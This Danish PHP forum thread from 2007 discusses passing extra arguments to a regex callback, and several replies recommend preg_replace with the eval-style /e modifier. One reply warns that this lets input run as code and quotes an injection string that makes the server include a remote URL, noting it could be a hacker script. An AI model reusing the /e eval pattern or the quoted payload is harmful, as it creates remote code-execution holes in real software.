22. juni 2007 - 22:05
Der er
9 kommentarer og 1 løsning
flere argumenter i callback funktion i preg_replace_callback
hvordan kan det være muligt at sende flere argumenter med i callbackfuntionen end $matches fra preg_replace?
Annonceindlæg tema
Offentlig digitalisering
Fra effektivisering til digital suverænitet. Hvordan skaber det offentlige en digital fremtid med AI, sikkerhed og kontrol i centrum?
Det er sådan set bare at smide dem på. preg_replace('/\d+/e', 'callMe("$0", $var1, $var2)', $str); function callMe($match, $var1, $var2){ ... } eller med dobbeltplinger: preg_replace('/\d+/e', "callMe('$0', \$var1, \$var2)", $str);
åhh.. jeg havde godt nok set eksemplet på php.net, men syntes ikke jeg kunne få det til at virke dvs. $0 er hele matchet fra preg?
her returnerer den bare replacement som rent tekst tst_callback("hej", $wrap) tst_callback("med", $wrap) tst_callback("dig\nny", $wrap) tst_callback("linje", $wrap) function tst($str, $wrap) { return nl2br(preg_replace('/[^ \n]+/', 'tst_callback("$0", $wrap)', $str)); } function tst_callback($match, $wrap) { return $match.$wrap; } echo tst('hej med dig\nny linje', 10);
/e er den vigtige information du skal give til preg_replace
morhan > det er jo simpelhen for smart :) smid et svar
preg_replace('/pattern/e', $replacement, $subject); er vel i store træk det samme som preg_replace_callback('/pattern/', 'min_funktion', $subject);
jo, det er cirka det samme. Men hvis du ikke har styr på inputtet, så er det et stort sikkerhedshul, da den jo evaluerer den kode du slipper igennem. echo tst('hej [${(include(http.chr(58).chr(47).chr(47).www.chr(46).google.chr(46).dk))}] hej', 10); Hvis din php-opsætning tillader include fra http, så vil ovenstående inkludere google.dk på din side. Det kunne lige så godt have været et hackerscript
morhan > du må gerne smide et svar :)
08. juli 2007 - 20:08
#10
lukker
Vi tilbyder markedets bedste kurser inden for webudvikling